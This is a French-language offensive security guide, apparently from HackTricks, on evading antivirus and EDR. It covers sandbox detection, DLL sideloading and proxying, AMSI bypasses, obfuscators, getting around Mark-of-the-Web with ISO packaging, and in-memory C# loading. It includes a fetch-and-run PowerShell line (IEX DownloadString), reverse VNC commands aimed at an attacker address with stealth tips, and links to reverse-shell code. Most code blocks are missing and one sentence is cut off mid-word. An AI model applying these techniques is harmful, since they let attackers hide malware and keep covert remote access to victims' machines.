Antivirus (AV) Bypass
Cette page a été rédigée par @m2rc_p!
Méthodologie d'évasion des AV
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique et, pour les EDR plus avancés, l'analyse comportementale.
Détection statique
La détection statique est réalisée en signalant des chaînes malveillantes connues ou des tableaux d'octets dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques façons de contourner ce type de détection :
Chiffrement
Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un type de chargeur pour décrypter et exécuter le programme en mémoire.
Obfuscation
Parfois, il vous suffit de modifier quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obfusquer.
Outils personnalisés
Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela prend beaucoup de temps et d'efforts.
Une bonne façon de vérifier la détection statique de Windows Defender est ThreatCheck. Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun individuellement, de cette manière, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire.
Je vous recommande vivement de consulter cette playlist YouTube sur l'évasion pratique des AV.
Analyse dynamique
L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à manipuler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable.
Pause avant l'exécution Selon la manière dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable des AV peuvent simplement sauter la pause en fonction de la manière dont elle est implémentée.
Vérification des ressources de la machine Les bac à sable ont généralement très peu de ressources à leur disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
Vérifications spécifiques à la machine Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
Il s'avère que l'ordinateur Sandbox de Microsoft Defender s'appelle HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-3ac70e5fd2a7ebba0ef8298711457d25715c0791%252Fimage%2520%283%29%2520%286%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=35fe900a&sv=1)
Quelques autres très bons conseils de @mgeeky pour lutter contre les bac à sable
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-c3ffd5532ae0da0ffedc4c79f0c8967b43f95070%252Fimage%2520%282%29%2520%281%29%2520%281%29%2520%282%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=51741be7&sv=1)
Comme nous l'avons dit précédemment dans ce post, les outils publics seront éventuellement détectés, donc, vous devriez vous poser une question :
Par exemple, si vous voulez extraire LSASS, avez-vous vraiment besoin d'utiliser mimikatz ? Ou pourriez-vous utiliser un autre projet moins connu qui extrait également LSASS.
La bonne réponse est probablement la seconde option. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le logiciel le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, il est aussi un cauchemar pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de désactiver la soumission automatique des échantillons dans Defender, et s'il vous plaît, sérieusement, NE PAS LES UPLOADER SUR VIRUSTOTAL si votre objectif est d'éviter la détection à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique des échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat.
EXE vs DLL
Chaque fois que c'est possible, priorisez l'utilisation de DLL pour l'évasion, dans mon expérience, les fichiers DLL sont généralement beaucoup moins détectés et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).
Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 dans antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-c56912d64bb99887d253adbc5f4837f32d5b5358%252Fimage%2520%286%29%2520%283%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ba3a727b&sv=1)
Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus furtif.
Chargement latéral de DLL & Proxying
Le chargement latéral de DLL profite de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges malveillantes à côté l'une de l'autre.
Vous pouvez vérifier les programmes susceptibles d'être victimes de chargement latéral de DLL en utilisant Siofra et le script powershell suivant :
Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\" et les fichiers DLL qu'ils tentent de charger.
Je vous recommande vivement d'explorer vous-même les programmes vulnérables au détournement de DLL/Sideloadable, cette technique est assez furtive si elle est correctement réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré.
Simplement en plaçant une DLL malveillante avec le nom qu'un programme s'attend à charger, votre charge utile ne sera pas chargée, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée DLL Proxying/Forwarding.
Le DLL Proxying redirige les appels qu'un programme effectue depuis la DLL proxy (malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
Je vais utiliser le projet SharpDLLProxy de @flangvik
Voici les étapes que j'ai suivies:
La dernière commande nous donnera 2 fichiers : un modèle de code source DLL et le DLL renommé d'origine.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-2a32c50ebda190b61c2f7694cfec18a87c567a29%252Fsharpdllproxy.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=a261d09&sv=1)
Voici les résultats :
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-eef66fd210b5082c7b13c532582c66e4d878c7fe%252Fdll_sideloading_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=a6a56036&sv=1)
Notre shellcode (encodé avec SGN) et le DLL proxy ont tous les deux un taux de détection de 0/26 sur antiscan.me ! Je qualifierais cela de succès.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-7eaceed4d02159f07fd4e0192c75b800014e8caf%252Fimage%2520%2811%29%2520%283%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=b8ec2f87&sv=1)
Je recommande vivement de regarder la VOD de S3cur3Th1sSh1t sur Twitch sur le DLL Sideloading et aussi la vidéo de ippsec pour en apprendre davantage sur ce que nous avons discuté en détail.
Freeze est une trousse à outils de charge utile pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-3e8443437b0d5f1783a1a9285475a0f69c044626%252Ffreeze_demo_hacktricks.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=fbb44d0e&sv=1)
L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne vous fiez jamais à un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion.
AMSI (Interface de scan anti-logiciels malveillants)
AMSI a été créé pour prévenir les "malwares sans fichier". Initialement, les AV étaient capables de scanner uniquement les fichiers sur le disque, donc si vous pouviez exécuter des charges utiles directement en mémoire, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
La fonctionnalité AMSI est intégrée à ces composants de Windows.
Contrôle de compte d'utilisateur, ou UAC (élévation de l'installation EXE, COM, MSI ou ActiveX)
PowerShell (scripts, utilisation interactive et évaluation de code dynamique)
Windows Script Host (wscript.exe et cscript.exe)
JavaScript et VBScript
Macros Office VBA
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non chiffrée et non obscurcie.
L'exécution de IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
produira l'alerte suivante sur Windows Defender.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-786ef20956c55a77a750d45ac0e130d366959992%252Fimage%2520%284%29%2520%285%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=6cc9e188&sv=1)
Remarquez comment il ajoute amsi:
puis le chemin de l'exécutable à partir duquel le script s'est exécuté, dans ce cas, powershell.exe
Nous n'avons pas déposé de fichier sur le disque, mais avons quand même été attrapés en mémoire à cause d'AMSI.
Il existe quelques façons de contourner AMSI :
Obfuscation
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection.
Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez bons, donc cela dépend de la quantité de signalement.
Contournement d'AMSI
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter l'analyse AMSI.
Forcer une erreur
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune analyse ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par Matt Graeber et Microsoft a développé une signature pour empêcher une utilisation plus large.
Tout ce qu'il a fallu, c'est une ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell actuel. Cette ligne a bien sûr été repérée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
Voici une technique de contournement d'AMSI modifiée que j'ai trouvée dans ce Github Gist.
Patch de mémoire
Cette technique a été initialement découverte par @RastaMouse et consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code pour E_INVALIDARG, de cette manière, le résultat de l'analyse réelle renverra 0, ce qui est interprété comme un résultat propre.
Veuillez lire https://rastamouse.me/memory-patching-amsi-bypass/ pour une explication plus détaillée.
Il existe également de nombreuses autres techniques utilisées pour contourner AMSI avec PowerShell, consultez cette page et ce dépôt pour en savoir plus à leur sujet.
Ou ce script qui, via un patch de mémoire, patchera chaque nouveau Powersh
Obfuscation
Il existe plusieurs outils qui peuvent être utilisés pour obfusquer le code en clair C#, générer des modèles de méta-programmation pour compiler des binaires ou obfusquer des binaires compilés tels que :
InvisibilityCloak: Obfuscateur C#
Obfuscator-LLVM : Le but de ce projet est de fournir une version open-source d'une fourche de la suite de compilation LLVM capable de fournir une sécurité logicielle accrue grâce à l'obfuscation de code et à la protection contre la falsification.
ADVobfuscator : ADVobfuscator montre comment utiliser le langage
C++11/14
pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.obfy : Ajoutez une couche d'opérations obfusquées générées par le framework de méta-programmation de modèles C++ qui compliquera un peu la vie de la personne voulant craquer l'application.
Alcatraz: Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
metame : Metame est un moteur de code métamorphique simple pour des exécutables arbitraires.
ropfuscator : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langages pris en charge par LLVM utilisant ROP (programmation orientée retour). ROPfuscator obfusque un programme au niveau du code d'assemblage en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
Nimcrypt : Nimcrypt est un crypteur .NET PE écrit en Nim
inceptor: Inceptor est capable de convertir les fichiers EXE/DLL existants en code shellcode, puis de les charger
SmartScreen & MoTW
Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables depuis Internet et de leur exécution.
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-4f65b418e66ed58b8c663da76f5aff2b9839799c%252Fimage%2520%281%29%2520%284%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=6208cec9&sv=1)
SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu commune déclencheront SmartScreen, alertant ainsi et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).
MoTW (Mark of The Web) est un flux de données alternatif NTFS portant le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL à partir de laquelle il a été téléchargé.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-7b5b04dd5d39db3b31c32faeb7155b8b72a48307%252Fimage%2520%2813%29%2520%283%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=edc2d37b&sv=1)
Il est important de noter que les exécutables signés avec un certificat de signature de confiance ne déclencheront pas SmartScreen.
Une façon très efficace d'empêcher vos charges utiles d'obtenir le Mark of The Web est de les emballer dans un certain type de conteneur comme une ISO. Cela se produit car le Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes non NTFS.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-9071ce02e7d3216f531acb1af765959057816e27%252Fimage%2520%2812%29%2520%282%29%2520%282%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=39f69d87&sv=1)
PackMyPayload est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter le Mark-of-the-Web.
Exemple d'utilisation:
Voici une démo pour contourner SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO en utilisant PackMyPayload
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-15c5bf41144d4828402399e03d67d13354b7d03c%252Fpackmypayload_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=92035194&sv=1)
Réflexion sur l'assemblage C#
Le chargement de binaires C# en mémoire est connu depuis un certain temps et reste un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par l'antivirus.
Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous n'aurons qu'à nous soucier de patcher AMSI pour l'ensemble du processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :
Fork&Run
Cela implique de lancer un nouveau processus sacrificiel, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cette méthode présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit en dehors de notre processus d'implant Beacon. Cela signifie que si quelque chose se passe mal ou est détecté lors de notre action de post-exploitation, il y a beaucoup plus de chances que notre implant survive. L'inconvénient est que vous avez plus de chances d'être détecté par des détections comportementales.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-9a68acef67ec1d15c1f40a78a61c01aadcd646d3%252Fimage%2520%287%29%2520%281%29%2520%283%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=60d89a12&sv=1)
Inline
Il s'agit d'injecter le code malveillant de post-exploitation dans son propre processus. De cette manière, vous pouvez éviter de devoir créer un nouveau processus et le faire analyser par l'antivirus, mais l'inconvénient est que si quelque chose se passe mal avec l'exécution de votre charge utile, il y a beaucoup plus de chances de perdre votre beacon car il pourrait planter.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-72a70e974f44f3f17e08886dee81080482f1c120%252Fimage%2520%289%29%2520%283%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=7bf69969&sv=1)
Si vous souhaitez en savoir plus sur le chargement des assemblages C#, veuillez consulter cet article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ et leur BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
Vous pouvez également charger des assemblages C# depuis PowerShell, consultez Invoke-SharpLoader et la vidéo de S3cur3th1sSh1t.
Utilisation d'autres langages de programmation
Comme proposé dans https://github.com/deeexcee-io/LOI-Bins, il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès à l'environnement d'interprétation installé sur le partage SMB contrôlé par l'attaquant.
En permettant l'accès aux binaires d'interprétation et à l'environnement sur le partage SMB, vous pouvez exécuter du code arbitraire dans ces langages en mémoire de la machine compromise.
Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go, Java, PHP, etc., nous avons plus de flexibilité pour contourner les signatures statiques. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.
Évasion avancée
L'évasion est un sujet très complexe, parfois vous devez tenir compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
Chaque environnement que vous affrontez aura ses propres forces et faiblesses.
Je vous encourage vivement à regarder cette présentation de @ATTL4S, pour avoir un aperçu des techniques d'évasion avancées.
Il y a aussi une autre excellente présentation de @mariuszbit sur l'évasion en profondeur.
Anciennes techniques
Vérifier quelles parties Defender considère comme malveillantes
Vous pouvez utiliser ThreatCheck qui supprimera des parties du binaire jusqu'à ce qu'il découvre quelle partie Defender considère comme malveillante et vous la divise. Un autre outil faisant la même chose est avred avec une offre web ouverte du service sur https://avred.r00ted.ch/
Faites-le démarrer lorsque le système est démarré et exécutez-le maintenant:
Changer le port telnet (furtif) et désactiver le pare-feu :
UltraVNC
Téléchargez-le depuis: http://www.uvnc.com/downloads/ultravnc.html (vous voulez les téléchargements binaires, pas l'installation)
SUR L'HÔTE: Exécutez winvnc.exe et configurez le serveur:
Activer l'option Désactiver TrayIcon
Définir un mot de passe dans Mot de passe VNC
Définir un mot de passe dans Mot de passe en lecture seule
Ensuite, déplacez le binaire winvnc.exe et le fichier nouvellement créé UltraVNC.ini à l'intérieur de la victime
Connexion inversée
L'attaquant doit exécuter à l'intérieur de son hôte le binaire vncviewer.exe -listen 5900
afin d'être prêt à capturer une connexion VNC inversée. Ensuite, à l'intérieur de la victime: Démarrez le démon winvnc winvnc.exe -run
et exécutez winwnc.exe [-autoreconnect] -connect <adresse_ip_attaquant>::5900
ATTENTION: Pour maintenir la discrétion, vous ne devez pas faire quelques choses
Ne démarrez pas
winvnc
s'il est déjà en cours d'exécution ou vous déclencherez une fenêtre contextuelle. vérifiez s'il est en cours d'exécution avectasklist | findstr winvnc
Ne démarrez pas
winvnc
sansUltraVNC.ini
dans le même répertoire ou cela provoquera l'ouverture de la fenêtre de configurationNe lancez pas
winvnc -h
pour obtenir de l'aide ou vous déclencherez une fenêtre contextuelle
GreatSCT
Téléchargez-le depuis: https://github.com/GreatSCT/GreatSCT
À l'intérieur de GreatSCT :
Maintenant démarrez le lister avec msfconsole -r file.rc
et exécutez la charge utile xml avec :
L'antivirus actuel va terminer le processus très rapidement.
Compilation de notre propre shell inversé
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Premier shell inversé en C#
Compilez-le avec :
Utilisez-le avec :
C# en utilisant le compilateur
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Téléchargement et exécution automatiques :
Liste des obfuscateurs C# : https://github.com/NotPrab/.NET-Obfuscator
C++
Utilisation de python pour construire un exemple d'injecteurs :
Autres outils
Plus
Last updated